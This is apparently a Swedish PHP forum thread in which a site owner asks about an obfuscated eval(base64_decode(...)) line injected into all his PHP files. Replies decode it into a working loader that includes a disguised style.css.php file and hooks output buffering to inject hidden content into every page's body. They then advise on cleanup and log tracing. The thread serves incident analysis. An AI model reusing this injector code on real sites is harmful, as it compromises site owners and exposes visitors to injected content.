webForumDet fria alternativet

Kan någon tala om vad detta är eval(base64_decode(osv.osv..

PHP

12 svar · 1 086 visningar · startad av Alfos

Medlem sedan mars 200911 inlägg
Frågan#1

Har fått en kod i början på alla mina php-filer som jag inte kan tyda. Kan någon hjälpa mig och tala om hur jag decodar strängen eller helst av allt vad den gör eller inte gör.

Sträng.
<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS91L3UyMjk4NjY1L3d3dy9ub2FoL2dvcnVtL2pzL2pxdWVyeS9tYXJraXR1cC9zZXRzL2hlYWQvaW1hZ2VzL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS91L3UyMjk4NjY1L3d3dy9ub2FoL2dvcnVtL2pzL2pxdWVyeS9tYXJraXR1cC9zZXRzL2hlYWQvaW1hZ2VzL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjQpeyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9dW5wYWNrKCd2JyxzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwxMCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0kUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxWzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKTtpZigkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0dXJuICRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29iaCgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTskUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXtyZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

Tacksam för all hjälp

Medlem sedan juni 20034 013 inlägg
#2
<?
if (function_exists('ob_start') && !isset($GLOBALS['sh_no']))
{
  $GLOBALS['sh_no']=1;
  if (file_exists('/home/u/u2298665/www/noah/gorum/js/jquery/markitup/sets/head/images/style.css.php'))
  {
    include_once('/home/u/u2298665/www/noah/gorum/js/jquery/markitup/sets/head/images/style.css.php');
    if (function_exists('gml') && !function_exists('dgobh'))
    {
      if (!function_exists('gzdecode'))
      {
        function gzdecode($R20FD65E9C7406034FADC682F06732868)
        {
          $R6B6E98CDE8B33087A33E4D3A497BD86B = ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));
          $R60169CD1C47B7A7A85AB44F884635E41 =10;
          $R0D54236DA20594EC13FC81B209733931 = 0;
          if ($R6B6E98CDE8B33087A33E4D3A497BD86B&4)
          {
            $R0D54236DA20594EC13FC81B209733931 = unpack('v',substr($R20FD65E9C7406034FADC682F06732868,10,2));
            $R0D54236DA20594EC13FC81B209733931 = $R0D54236DA20594EC13FC81B209733931[1];
            $R60169CD1C47B7A7A85AB44F884635E41 += 2 + $R0D54236DA20594EC13FC81B209733931;
          }
          if ($R6B6E98CDE8B33087A33E4D3A497BD86B&8)
          {
            $R60169CD1C47B7A7A85AB44F884635E41 = strpos($R20FD65E9C7406034FADC682F06732868, chr(0), $R60169CD1C47B7A7A85AB44F884635E41) + 1;
          }
          if ($R6B6E98CDE8B33087A33E4D3A497BD86B&16)
          {
            $R60169CD1C47B7A7A85AB44F884635E41 = strpos($R20FD65E9C7406034FADC682F06732868, chr(0), $R60169CD1C47B7A7A85AB44F884635E41) + 1;
          }
          if($R6B6E98CDE8B33087A33E4D3A497BD86B&2)
          {
            $R60169CD1C47B7A7A85AB44F884635E41 += 2;
          }
          $RC4A5B5E310ED4C323E04D72AFAE39F53 = gzinflate(substr($R20FD65E9C7406034FADC682F06732868, $R60169CD1C47B7A7A85AB44F884635E41));
          if ($RC4A5B5E310ED4C323E04D72AFAE39F53 === FALSE)
          {
            $RC4A5B5E310ED4C323E04D72AFAE39F53 = $R20FD65E9C7406034FADC682F06732868;
          }
          return $RC4A5B5E310ED4C323E04D72AFAE39F53;
        }
      }
      function dgobh($RDA3E61414E50AEE968132F03D265E0CF)
      {
        Header('Content-Encoding: none');
        $R3E33E017CD76B9B7E6C7364FB91E2E90 = gzdecode($RDA3E61414E50AEE968132F03D265E0CF);
        if (preg_match('/\<body/si',$R3E33E017CD76B9B7E6C7364FB91E2E90))
        {
          return preg_replace('/(\<body[^\>]*\>)/si', '$1'.gml(), $R3E33E017CD76B9B7E6C7364FB91E2E90);
        }
        else
        {
          return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;
        }
      }
      ob_start('dgobh');
    }
  }
}?>
Medlem sedan mars 200921 inlägg
#3

Lite bättre översatt..

if(function_exists('ob_start') && !isset($GLOBALS['sh_no'])){
   $GLOBALS['sh_no'] = 1;

  if (file_exists('/home/u/u2298665/www/noah/gorum/js/jquery/markitup/sets/head/images/style.css.php')) {
    include_once('/home/u/u2298665/www/noah/gorum/js/jquery/markitup/sets/head/images/style.css.php');

      if(function_exists('gml') && !function_exists('dgobh')){
         if(!function_exists('gzdecode')){
            function gzdecode($var1){
               $var2 = ord(substr($var1, 3, 1));
               $var3 = 10;
               $var4 = 0;

               if($var2&4){
                  $var4 = unpack('v',substr($var1, 10, 2));
                  $var4 = $var4[1];
                  $var3 += 2 + $var4;
               }

               if($var2&8)
                  $var3 = strpos($var1, chr(0), $var3) + 1;

               if($var2&16)
                  $var3 = strpos($var1, chr(0), $var3) + 1;

               if($var2&2)
                  $var3 += 2;

               $var5 = gzinflate(substr($var1, $var3));

               if($var5 === FALSE)
                  $var5 = $var1;

               return $var5;
            }
         }

         function dgobh($var6){
            Header('Content-Encoding: none');
            $var7 = gzdecode($var6);
            if(preg_match('/<body/si', $var7))
               return preg_replace('/(<body[^>]*>)/si', '$1' . gml(), $var7);
            else
               return gml() . $var7;
         }

         ob_start('dgobh');
      }
   }
}

Jag skulle gärna vilja se filen copper.php Detta ser ut som något virus liknande

Medlem sedan mars 200921 inlägg
#4

Kollade upp det lite närmare, copper.php är en fil på cirka 200kb, som någon har lyckats ladda upp till din server genom någon bakdörr, jag skulle rekommendera att du återgår till någon tidigare backup, annars har du mycket jobb framför dig om det är på en större sajt.

Medlem sedan mars 200911 inlägg
#5

Hej och tack så mycket för hjälpen.

Jag kan inte hitta filen copper.php. Ligger denna i webservern eller i databasen. Såvitt jag förstått så har någon gått in via ett hål i databasen och infekterat alla php-filer. Jag har kört backup på db-filerna och tagit bort dom tillfälligt.

Medlem sedan mars 200921 inlägg
#6

Den borde ligga här:

www/noah/gorum/js/jquery/markitup/sets/head/images/style.css.php

Ps. Kolla privata meddelanden. Dvs.

Medlem sedan mars 200921 inlägg
#7

Alfos skrev:

Hej och tack så mycket för hjälpen.

Jag kan inte hitta filen copper.php. Ligger denna i webservern eller i databasen. Såvitt jag förstått så har någon gått in via ett hål i databasen och infekterat alla php-filer. Jag har kört backup på db-filerna och tagit bort dom tillfälligt.

Jag tror för övrigt att hålet inte är i databasen, utan att du har tillåtit uppladdning av filer, även om du kanske bara tillåter filer med .jpeg t.ex. så kan en smart (elak) cracker exekera dem i vissa fall.

Medlem sedan mars 200911 inlägg
#8

Kan inte hitta den filen på vare sig servern, localhost eller i gamla backups

Medlem sedan mars 200911 inlägg
#9

Kan man spåra den som gjort det på något sätt?

Medlem sedan mars 200921 inlägg
#10

Alfos skrev:

Kan inte hitta den filen på vare sig servern, localhost eller i gamla backups

Hm. Med den skulle det göra saken mycket enklare.

Kan man spåra den som gjort det på något sätt?

Apache weblogs t.ex. med en del sökande.

Medlem sedan mars 200911 inlägg
#11

Vad mer exakt gör den här strängen med sajten?

Medlem sedan mars 200921 inlägg
#12

Kort sagt, den inkluderar en fil med förmodligen massor av krypterade funktioner, den skapar en funktion för att ta bort krypteringen för gz med olika val beroende på vilken typ av sträng det är, t.ex. en c-sträng. [Som för övrigt är väldigt snyggt gjord]

Sen skapar den en okänd body-del av ett html dokument med innehåll som vi inte ser.

Medlem sedan mars 200911 inlägg
#13

OK och tack så mycket för hjälpen.

Jag har blivit lite klokare och skall nu rensa bort all php för att göra en ominstallation och tajta till properties och köra en ny backup innan jag släpper loss dessa delar av sidan igen.

270 ms totalt · 4 externa anrop · v20260731065814-full.a51de22e
118 ms — deklarationer (db)
0 ms — hämta statistik (cache)
137 ms — hämta tråd, inlägg och bilagor (db)
130 ms — ändringar (db)